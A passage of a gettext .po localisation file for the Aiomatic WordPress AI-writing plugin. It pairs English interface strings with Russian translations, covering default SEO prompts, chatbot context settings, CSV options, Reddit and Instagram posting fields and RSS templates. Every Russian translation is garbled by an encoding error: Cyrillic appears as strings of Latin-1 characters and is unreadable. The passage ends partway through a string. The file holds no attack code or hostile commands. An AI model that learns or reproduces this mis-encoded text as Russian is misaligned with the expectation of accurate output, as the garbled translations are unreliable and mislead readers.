res/aiomatic-main.php:5342 #, php-format msgid "" "Set the prompt to be used for the AI Taxonomy SEO Description Writer feature." " You can use the following shortcodes here: %%term_name%%, %%term_id%%, " "%%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - default is: Write a description for a WordPress " "%%term_taxonomy_name%% with the following title: \"%%term_name%%\". This " "will set the SEO description for the following SEO plugins: Yoast SEO, All " "In One SEO, Rank Math." msgstr "" "УÑтановите Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ запиÑи SEO-" "опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð°ÐºÑономии AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды:" " %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, " "%%term_taxonomy_name%%, %%term_taxonomy_id%% — по умолчанию: Введите " "опиÑание Ð´Ð»Ñ WordPress %%term_taxonomy_name%% Ñо Ñледующим заголовком: " "«%%term_name%%». Это уÑтановит опиÑание SEO Ð´Ð»Ñ Ñледующих плагинов SEO: " "Yoast SEO, All In One SEO, Rank Math." #: res/aiomatic-main.php:4265 #, php-format msgid "" "Set the prompt to be used for the AI writer to create Content. You can use " "the following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create " "a captivating and comprehensive English description for your WordPress " "%%post_type%%: \"%%post_title_idea%%\". Dive into specific details, " "highlighting its unique features of this subject, if possible, benefits, and " "the value it brings. Craft a compelling narrative around the %%post_type%% " "that captivates the audience. Use HTML for formatting, include unnumbered " "lists and bold. Writing Style: Creative. Tone: Neutral." msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ AI Создателем Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "контента. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: " "%%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, " "%%post_type%% - значение по умолчанию: Создайте увлекательное и полное " "опиÑание на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: " "\"%%post_title_idea%%\". ПогрузитеÑÑŒ в конкретные детали, Ð¿Ð¾Ð´Ñ‡ÐµÑ€ÐºÐ¸Ð²Ð°Ñ " "уникальные оÑобенноÑти Ñтого предмета, еÑли возможно, преимущеÑтва и " "ценноÑÑ‚ÑŒ, которую он приноÑит. Создайте убедительное повеÑтвование вокруг " "%%post_type%%, которое захватит аудиторию. ИÑпользуйте HTML Ð´Ð»Ñ " "форматированиÑ, включайте ненумерованные ÑпиÑки и жирный шрифт. Стиль " "напиÑаниÑ: ТворчеÑкий. Тон: нейтральный." #: res/aiomatic-main.php:4280 #, php-format msgid "" "Set the prompt to be used for the AI writer to create Excerpt. You can use " "the following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Write " "a captivating and succinct English summary for the WordPress %%post_type%%: " "\"%%post_title_idea%%\", accentuating its pivotal features, advantages, and " "distinctive qualities." msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ AI Создателем Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "отрывка. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: " "%%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, " "%%post_type%% — значение по умолчанию: напишите увлекательное и краткое " "резюме на английÑком Ñзыке Ð´Ð»Ñ WordPress %%post_type%%: " "\"%%post_title_idea%%\", Ð¿Ð¾Ð´Ñ‡ÐµÑ€ÐºÐ¸Ð²Ð°Ñ ÐµÐ³Ð¾ оÑновные оÑобенноÑти, преимущеÑтва " "и отличительные качеÑтва." #: res/aiomatic-main.php:4250 #, php-format msgid "" "Set the prompt to be used for the AI writer to create SEO Meta Descriptions. " "You can use the following shortcodes here: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default " "value is: Craft an enticing and succinct meta description in English for " "your WordPress %%post_type%%: \"%%post_title_idea%%\". Emphasize the notable " "features and advantages in just 155 characters, incorporating relevant " "keywords to optimize its SEO performance." msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ AI Ñоздателем Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "метаопиÑаний SEO. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: " "%%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, " "%%post_type%% — значение по умолчанию: Создайте привлекательное и лаконичное " "метаопиÑание в ÐнглийÑкий Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: " "«%%post_title_idea%%». Подчеркните примечательные оÑобенноÑти и преимущеÑтва " "вÑего 155 Ñимволов, включив релевантные ключевые Ñлова Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ " "ÑффективноÑти SEO." #: res/aiomatic-main.php:4295 #, php-format msgid "" "Set the prompt to be used for the AI writer to create Tags. You can use the " "following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: " "Suggest a series of pertinent keywords in English for your WordPress " "%%post_type%%: \"%%post_title_idea%%\". These keywords should be closely " "connected to the %%post_type%%, optimizing its visibility. Please present " "the keywords in a comma-separated format without using symbols like -, #, " "etc." msgstr "" "УÑтановите промпт, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‚ÐµÐ³Ð¾Ð² пиÑателем " "AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - значение " "по умолчанию: Предложите Ñ€Ñд релевантных ключевых Ñлов на английÑком Ñзыке " "Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: \"%%post_title_idea%%\". Эти ключевые " "Ñлова должны быть теÑно ÑвÑзаны Ñ %%post_type%%, Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð¸Ñ€ÑƒÑ ÐµÐ³Ð¾ видимоÑÑ‚ÑŒ. " "ПожалуйÑта, предÑтавьте ключевые Ñлова в формате, разделенном запÑтыми, без " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð°ÐºÐ¸Ñ… Ñимволов, как -, # и Ñ‚. д." #: res/aiomatic-main.php:4235 #, php-format msgid "" "Set the prompt to be used for the AI writer to create titles. You can use " "the following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create " "a captivating and concise SEO title in English for your WordPress " "%%post_type%%: \"%%post_title_idea%%\". Boost its search engine visibility " "with relevant keywords for maximum impact." msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ AI Создателем , Ð´Ð»Ñ " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¾Ð². ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: " "%%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, " "%%post_type%% - значение по умолчанию: Создайте увлекательный и лаконичный " "SEO-заголовок на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: " "\"%%post_title_idea%%\". УÑильте его видимоÑÑ‚ÑŒ в поиÑковых ÑиÑтемах Ñ " "помощью релевантных ключевых Ñлов Ð´Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°ÐºÑимального Ñффекта." #: res/aiomatic-main.php:4109 #, php-format msgid "" "Set the prompt to be used for the YouTube Video search keyword extractor. " "You can use the following shortcode: %%aiomatic_query%% - The default value " "for this settings field is: Using which keyword or search phrase should I " "search YouTube, to get the most relevant videos for this text? Provide a " "single variant, write only a single keyword or phrase, nothing else. The " "text is: \"%%aiomatic_query%%\"" msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑкÑтрактора ключевых " "Ñлов поиÑка видео на YouTube. Ð’Ñ‹ можете иÑпользовать Ñледующий короткий код: " "%%aiomatic_query%% — значение по умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð½Ð°Ñтроек: " "ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ°ÐºÐ¾Ðµ ключевое Ñлово или поиÑковую фразу мне Ñледует выполнить " "поиÑк на YouTube, чтобы получить наиболее релевантные видео Ð´Ð»Ñ Ñтого текÑта?" " ПредоÑтавьте единÑтвенный вариант, напишите только одно ключевое Ñлово или " "фразу, и ничего больше. ТекÑÑ‚: \"%%aiomatic_query%%\"" #: aiomatic-ajax-actions.php:8037 res/aiomatic-shortcodes.php:233 #, php-format msgid "" "Set the prompt which will be sent to the AI content writer. You can use " "shortcodes to get the input values entered by users in the form. The " "shortcodes need to be in the following format: %%ID_of_the_input_field%%" msgstr "" "УÑтановите Промпт, который будет отправлен Создателю Контента AI. Ð’Ñ‹ можете " "иÑпользовать короткие коды Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð²Ñ…Ð¾Ð´Ð½Ñ‹Ñ… значений, введенных " "пользователÑми в форму. Шорткоды должны быть в Ñледующем формате: " "%%ID_of_the_input_field%%" #: res/aiomatic-assistants.php:414 res/aiomatic-assistants.php:569 #: res/aiomatic-chatbot.php:5534 #, php-format #| msgid "" #| "Set the prompt which will be sent to the AI. Add a context to the AI " #| "chatbot, so it knows how to act and how to respond to customers. You can " #| "define here the language, tone of voice and role of the AI assistant. Any " #| "other settings will also be able to be defined here. This text will be " #| "preppended to each conversation, to teach the AI some additional info " #| "about you or its behavior. This text will not be displayed to users, it " #| "will be only sent to the chatbot. You can also use shortcodes in this " #| "field. List of supported shortcodes: %%post_title%%, %%post_content%%, " #| "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " #| "%%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, " #| "%%current_date_time%%, %%post_link%%, %%random_sentence%%, " #| "%%random_sentence2%%, %%user_name%%, %%user_email%%, " #| "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%," #| " %%user_url%%, %%user_description%%. You can also use custom fields (post " #| "meta) that it's assigned to posts using custom shortcodes in this format: " #| "%%!custom_field_slug!%%. You can also use custom user meta fields (user " #| "meta) which is assigned to usersm using custom shortcodes in this format: " #| "%%~custom_field_slug~%%. Example: if you wish to add data that is " #| "imported from the custom field post_data, you should use this shortcode: " #| "%%!post_data!%%. The length of this command should not be greater than " #| "the max token count set in the settings for the seed command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins)." msgid "" "Set the prompt which will be sent to the AI. Add a context to the AI chatbot," " so it knows how to act and how to respond to customers. You can define here " "the language, tone of voice and role of the AI assistant. Any other settings " "will also be able to be defined here. This text will be preppended to each " "conversation, to teach the AI some additional info about you or its behavior." " This text will not be displayed to users, it will be only sent to the " "chatbot. You can also use shortcodes in this field. List of supported " "shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins)." msgstr "" "Задайте промпт, который будет отправлен иÑкуÑÑтвенному интеллекту. Добавьте " "контекÑÑ‚ Ð´Ð»Ñ AI Чат-бота, чтобы он знал, как дейÑтвовать и как отвечать " "клиентам. ЗдеÑÑŒ можно задать Ñзык, тон голоÑа и роль AI-аÑÑиÑтента. ЗдеÑÑŒ же " "можно задать любые другие наÑтройки. Этот текÑÑ‚ будет добавлÑÑ‚ÑŒÑÑ Ðº каждому " "разговору, чтобы дать AI дополнительную информацию о Ð²Ð°Ñ Ð¸Ð»Ð¸ его поведении. " "Этот текÑÑ‚ не будет отображатьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм, он будет отправлен только " "Чат-боту. Ð’Ñ‹ также можете иÑпользовать шорткоды в Ñтом поле. СпиÑок " "поддерживаемых шорткодов:%%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые " "приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!" "custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-" "Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли " "вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ " "post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды seed - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды," " Ñгенерированные по правилам других плагинов)." #: res/aiomatic-spinner-list.php:1968 #, php-format msgid "" "Set the prompt you will use when searching for related headings. You can use " "the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same " "model will be used, as the one selected for content creation. If you leave " "this field blank, the default prompt will be used: 'Write " "%%needed_heading_count%% PAA related questions, each on a new line, for the " "title: %%post_title%%'" msgstr "" "УÑтановите Промпт, который вы будете иÑпользовать при поиÑке ÑвÑзанных " "Заголовоков. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%post_title%%, " "%%needed_heading_count%%. Будет иÑпользоватьÑÑ Ñ‚Ð° же модель, что и Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ " "Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ЕÑли оÑтавить Ñто поле пуÑтым, будет иÑпользоватьÑÑ " "Промпт по умолчанию: 'Write %%needed_heading_count%% PAA related questions, " "each on a new line, for the title: %%post_title%%'" #: res/aiomatic-rules-list.php:1305 res/aiomatic-rules-list.php:4055 #: res/aiomatic-single-list.php:2744 #, php-format msgid "" "Set the prompt you will use when searching for related headings. You can use " "the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same " "model will be used, as the one selected for content creation. If you leave " "this field blank, the default prompt will be used: 'Write " "%%needed_heading_count%% PAA related questions, each on a new line, for the " "title: %%post_title%%' You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "УÑтановите Промпт, который вы будете иÑпользовать при поиÑке ÑвÑзанных " "Заголовков. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%post_title%%, " "%%needed_heading_count%%. Будет иÑпользоватьÑÑ Ñ‚Ð° же модель, что и Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ " "Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ЕÑли вы оÑтавите Ñто поле пуÑтым, будет " "иÑпользоватьÑÑ ÐŸÑ€Ð¾Ð¼Ð¿Ñ‚ по умолчанию: 'Write %%needed_heading_count%% PAA " "related questions, each on a new line, for the title: %%post_title%%'. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание пользовательÑких Шорткодов» в наÑтройках правила — Ñто позволит " "вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые " "будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: aiomatic-automation.php:982 msgid "Set the Reddit post type." msgstr "УÑтановите тип поÑта Reddit." #: res/aiomatic-main.php:5860 msgid "Set the required words list that will apply to all plugin rules." msgstr "" "УÑтановите необходимый ÑпиÑок Ñлов, который будет применÑÑ‚ÑŒÑÑ ÐºÐ¾ вÑем " "Правилам Плагина." #: res/aiomatic-chatbot.php:702 res/aiomatic-chatbot.php:1112 msgid "" "Set the role of the AI Assistant. This info is only informative, will appear " "only in the chatbot interface, is not sent to the AI writer. Be sure to add " "the role in the 'Chatbot Context' settings field, for it to take effect in " "the AI writer." msgstr "" "УÑтановите роль . Эта Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð¾Ñит иÑключительно информативный характер, " "отображаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в интерфейÑе чат-бота и не отправлÑетÑÑ AI Ñоздателю. " "ОбÑзательно добавьте роль в поле наÑтроек «КонтекÑÑ‚ чат-бота», чтобы она " "вÑтупила в Ñилу в ÑредÑтве запиÑи AI.\n" "Задайте роль AI аÑÑиÑтента. Эта Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð¾Ñит иÑключительно " "информационный характер, будет отображатьÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в интерфейÑе чатбота, не " "передаетÑÑ Ð² AI Создателе . ОбÑзательно добавьте роль в поле наÑтроек " "'КонтекÑÑ‚ чатбота', чтобы она вÑтупила в Ñилу в AI Создателе." #: res/aiomatic-chatbot.php:5524 msgid "Set the role of this persona." msgstr "УÑтановите роль Ñтой перÑоны." #: res/aiomatic-csv-list.php:210 res/aiomatic-csv-list.php:1331 #: res/aiomatic-single-list.php:1120 msgid "" "Set the separator of the CSV file. It is usually auto detected, however, if " "you have issues with auto detection, you can set the CSV separator here." msgstr "" "УÑтановите разделитель CSV-файла. Обычно он определÑетÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки, " "однако, еÑли у Ð²Ð°Ñ Ð²Ð¾Ð·Ð½Ð¸ÐºÐ»Ð¸ проблемы Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑким определением, вы " "можете задать разделитель CSV здеÑÑŒ." #: res/aiomatic-spinner-list.php:1433 res/aiomatic-spinner-list.php:1475 msgid "Set the size of the generated featured image." msgstr "УÑтановите размер Ñгенерированного избранного изображениÑ." #: aiomatic-automation.php:175 msgid "" "Set the size of the image which will be sent to the AI video generator. " "Original images will be resized to the selected image size before sending." msgstr "" "УÑтановите размер изображениÑ, которое будет отправлено в генератор видео AI." " Перед отправкой иÑходные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ изменены до выбранного размера." #: aiomatic-automation.php:1122 msgid "Set the slug of the post" msgstr "УÑтановите название поÑта" #: aiomatic-automation.php:1123 msgid "" "Set the slug of the post (the post URL/name). If you leave this field blank, " "WordPress will automatically generate the slug of the post from the post " "tile. Any text that you enter here will be URL encoded, to be compatible " "with slug creation. The length of the slug should not exceed 200 characters." msgstr "" "Задайте Ñлаг поÑта (URL-адреÑ/название поÑта). ЕÑли вы оÑтавите Ñто поле " "пуÑтым, WordPress автоматичеÑки Ñгенерирует slug поÑта из плитки поÑта. " "Любой текÑÑ‚, который вы введете здеÑÑŒ, будет закодирован в URL, чтобы быть " "ÑовмеÑтимым Ñ Ñозданием slug. Длина Ñлова не должна превышать 200 Ñимволов." #: aiomatic-automation.php:168 msgid "Set the source image URL which will be sent to the video generator" msgstr "" "УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ, который будет отправлен в " "генератор видео." #: aiomatic-automation.php:169 msgid "Set the source image URL which will be sent to the video generator." msgstr "" "УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ, которое будет отправлено в " "генератор видео." #: aiomatic-automation.php:680 msgid "Set the subject of the email to be sent" msgstr "УÑтановите тему пиÑьма Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸" #: aiomatic-automation.php:681 #, php-format msgid "" "Set the subject of the email to be sent. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте тему пиÑьма, которое будет отправлено. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-ajax-actions.php:8173 res/aiomatic-shortcodes.php:377 msgid "Set the submit button text of this form." msgstr "УÑтановите текÑÑ‚ кнопки отправки Ñтой формы." #: aiomatic-automation.php:961 msgid "Set the subreddits where to publish the content (one per line)" msgstr "Укажите Ñубреддиты, где публиковать контент (по одному на Ñтроку)." #: aiomatic-automation.php:962 msgid "Set the subreddits where to publish the content (one per line)." msgstr "Укажите Ñубреддиты, где публиковать контент (по одному на Ñтроку)." #: aiomatic-automation.php:249 msgid "" "Set the template of the resulting string, which will be built after parsing " "the RSS feed" msgstr "" "Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле анализа " "RSS-канала." #: aiomatic-automation.php:250 #, php-format msgid "" "Set the template of the resulting string, which will be built after parsing " "the RSS feed. You can use the following shortcodes, which will map to the " "values of each RSS feed item: %%item_counter%%, %%item_title%%, " "%%item_content%%, %%item_description%%, %%item_url%%, %%item_author%%, " "%%item_categories%%, %%item_scraped_data%% - the %%item_scraped_data%% " "shortcode will be usable only if you enable the 'Scrape Links' feature from " "below." msgstr "" "Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле разбора " "RSS-ленты. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды, которые будут " "ÑоответÑтвовать значениÑм каждого Ñлемента RSS-ленты: %%item_counter%%, " "%%item_title%%, %%item_content%%, %%item_description%%, %%item_url%%, " "%%item_author%%, %%item_categories%%, %%item_scraped_data%% - шорткод " "%%item_scraped_data%% будет доÑтупен только при включении функции 'СпарÑить " "ÑÑылки' Ñнизу." #: aiomatic-automation.php:319 msgid "" "Set the template of the resulting string, which will be built after parsing " "the search results" msgstr "" "Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле разбора " "результатов поиÑка" #: aiomatic-automation.php:320 #, php-format msgid "" "Set the template of the resulting string, which will be built after parsing " "the search results. You can use the following shortcodes, which will map to " "the values of each search results item: %%item_counter%%, %%item_title%%, " "%%item_snippet%%, %%item_url%%, %%item_scraped_data%% - the " "%%item_scraped_data%% shortcode will be usable only if you enable the " "'Scrape Links' feature from below." msgstr "" "Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле разбора " "результатов поиÑка. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды, которые будут " "ÑоответÑтвовать значениÑм каждого Ñлемента результатов поиÑка: " "%%item_counter%%, %%item_title%%, %%item_snippet%%, %%item_url%%, " "%%item_scraped_data%% - шорткод %%item_scraped_data%% будет доÑтупен только " "при включении функции 'СпарÑить СÑылки' Ñнизу." #: res/aiomatic-review-list.php:607 res/aiomatic-single-list.php:6112 msgid "" "Set the text of the Customer Reviews Analysis section header. Default is: " "Customer Reviews Analysis" msgstr "" "Задайте текÑÑ‚ заголовка раздела \"Ðнализ отзывов клиентов\". По умолчанию: " "Ðнализ отзывов клиентов" #: aiomatic-automation.php:811 msgid "Set the text of the Instagram image" msgstr "УÑтановите текÑÑ‚ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Instagram" #: aiomatic-automation.php:812 #, php-format msgid "" "Set the text of the Instagram image. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите текÑÑ‚ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Instagram. Дополнительные шорткоды, которые вы " "можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: res/aiomatic-amazon-list.php:618 res/aiomatic-review-list.php:545 #: res/aiomatic-rules-list.php:572 res/aiomatic-single-list.php:1525 #: res/aiomatic-single-list.php:3513 res/aiomatic-single-list.php:4826 #: res/aiomatic-single-list.php:6050 res/aiomatic-youtube-list.php:575 msgid "Set the text of the outro section header. This is optional." msgstr "" "УÑтановите текÑÑ‚ Заголовка Раздела Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ. Это необÑзательно." #: res/aiomatic-chatbot.php:1272 res/aiomatic-chatbot.php:2236 msgid "" "Set the text of the prompt selection placeholder. The default is: Please " "select a prompt" msgstr "" "УÑтанавливает текÑÑ‚ Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° промпта. По умолчанию: ПожалуйÑта, " "выберите промпт" #: res/aiomatic-review-list.php:637 res/aiomatic-single-list.php:6142 msgid "Set the text of the Pros & Cons section header. Default is: Pros & Cons" msgstr "" "Задайте текÑÑ‚ заголовка раздела «ПлюÑÑ‹ и минуÑы». По умолчанию: плюÑÑ‹ и " "минуÑÑ‹." #: res/aiomatic-amazon-list.php:680 res/aiomatic-review-list.php:667 #: res/aiomatic-rules-list.php:634 res/aiomatic-single-list.php:1587 #: res/aiomatic-single-list.php:3575 res/aiomatic-single-list.php:4888 #: res/aiomatic-single-list.php:6172 res/aiomatic-youtube-list.php:637 msgid "Set the text of the Q&A section header. Default is: Q&A" msgstr "" "УÑтановите текÑÑ‚ заголовка Раздела ВопроÑов и Ответов. По умолчанию: ВопроÑÑ‹ " "и Ответы" #: res/aiomatic-chatbot.php:1236 res/aiomatic-chatbot.php:2218 msgid "Set the text of the submit button. The default is: Submit" msgstr "УÑтановите текÑÑ‚ кнопки отправки. По умолчанию: Отправить" #: res/aiomatic-amazon-list.php:650 res/aiomatic-amazon-list.php:3280 #: res/aiomatic-review-list.php:577 res/aiomatic-review-list.php:3265 #: res/aiomatic-rules-list.php:604 res/aiomatic-rules-list.php:3455 #: res/aiomatic-single-list.php:1557 res/aiomatic-single-list.php:3545 #: res/aiomatic-single-list.php:4858 res/aiomatic-single-list.php:6082 #: res/aiomatic-youtube-list.php:607 res/aiomatic-youtube-list.php:3192 msgid "" "Set the text of the Table of Contents section header. Default is: Table of " "Contents" msgstr "" "УÑтановите текÑÑ‚ Заголовка Раздела «Оглавление». По умолчанию: Оглавление" #: aiomatic-automation.php:84 msgid "" "Set the text to be appended to each content block which was created by this " "OmniBlock." msgstr "" "Задайте текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº каждому блоку контента, " "Ñозданному Ñтим OmniBlock." #: aiomatic-automation.php:77 msgid "" "Set the text to be prepend to each content block which was created by this " "OmniBlock." msgstr "" "УÑтановите текÑÑ‚, который будет 